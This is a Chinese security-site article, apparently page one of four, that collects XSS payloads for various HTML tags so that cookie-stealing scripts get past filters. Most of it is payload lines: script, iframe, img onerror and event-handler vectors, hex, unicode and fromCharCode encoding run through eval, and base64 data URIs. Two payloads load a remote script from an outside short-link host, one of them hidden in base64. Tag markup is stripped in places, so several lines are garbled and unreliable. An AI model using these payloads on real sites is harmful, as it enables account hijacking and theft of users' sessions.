欢迎来到 黑吧安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

xss其他标签下的js用法总结大全

来源:本站整理 作者:佚名 时间:2016-07-17 TAG: 我要投稿

前段时间我遇到一个问题,就是说普通的平台获取cookie的语句为↓
src=js地址>
实际上我们的测试语句可能为↓
alert("90sec")
也就是说js语句实际上是位于↓的中间。
包括、input>、>、、、、标签等情况下的xss构造。
所以我们就需要了解各种标签下的js用法,不然很多时候不可以使用就很麻烦了。
XSS基本探测pyload】
alert(“xss”)
alert(/xss/)cript> //双引号换成斜杠
alert(‘xss’) //用单引号
alert("xss"); //用分号
alert('xss');
alert(/xss/);cript>
alert("jdq") //自动补全
alert("xss");;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; //用分号
alert("xss");;;;;;;;;;;;;;;;;    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; //空格+分号
alert("xss");;;;;;;;;;;;;;;;;        ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; //换行符
alert("xss");;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;; //回车
单引号被过滤
alert(/jdq/)cript>  //用双引号会把引号内的内容单独作为内容 用斜杠,则会连斜杠一起回显
【javascript伪协议】回旋
a href="javascript:alert(/test/)">xss/a>
script>被过滤↓
iframe src=javascript:alert('xss');height=0 width=0 />iframe>利用iframe框架标签
alert被过滤
img src="1" onerror=eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")>/img>
【img标记】
img src=x onerror=s=createElement('script');body.appendChild(s);s.src='http://t.cn/R5UpyOt';>
on事件点击触发
onclick="alert('xss') //注意要用单引号 双引号不会触发
on事件-移动触发
Onmousemove="alert('xss')
【利用函数加密】
eval 函数配合编码
eval(“js+16进制加密”)
eval("\x61\x6c\x65\x72\x74\x28\x22\x78\x73\x73\x22\x29")
编码要执行的语句↓
Alert(“xss”)
【unicode加密】
eval("unicode加密")
//js unicode加密 解决alert()被过滤
eval("\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029")
格式↓
标记eval(“编码”) 结束标记
【String.fromCharCod函数】
String.fromCharCode需要配合eval来实现,
构造
eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,13))
eval内容加引号相当于正常js语句来执行
不加引号,则是默认作为eval的其他参数语句来执
固定格式→eval(String.fromCharCode编码内容))
【data协议运用】
object data="data:text/html;base64,PHNjcmlwdCBzcmM9aHR0cDovL3QuY24vUnE5bjZ6dT48L3NjcmlwdD4=">/object>
格式
Data:[mime type>][;charset=charset>[;base64],encoded data>
Data //协议
mime type> //数据类似
charset=charset>  //指定编码
[;base64] //被指定的编码
encoded data> //定义data协议的编码
实际编码↓
object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">/object>
base64编码要执行的内容
特点:不支持IE
【各标签实战pyload】——————————————————-xss其他标签下的js用法总结大全––——————————–————————————

[1] [2] [3] [4]  下一页

【声明】:黑吧安全网(http://www.myhack58.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载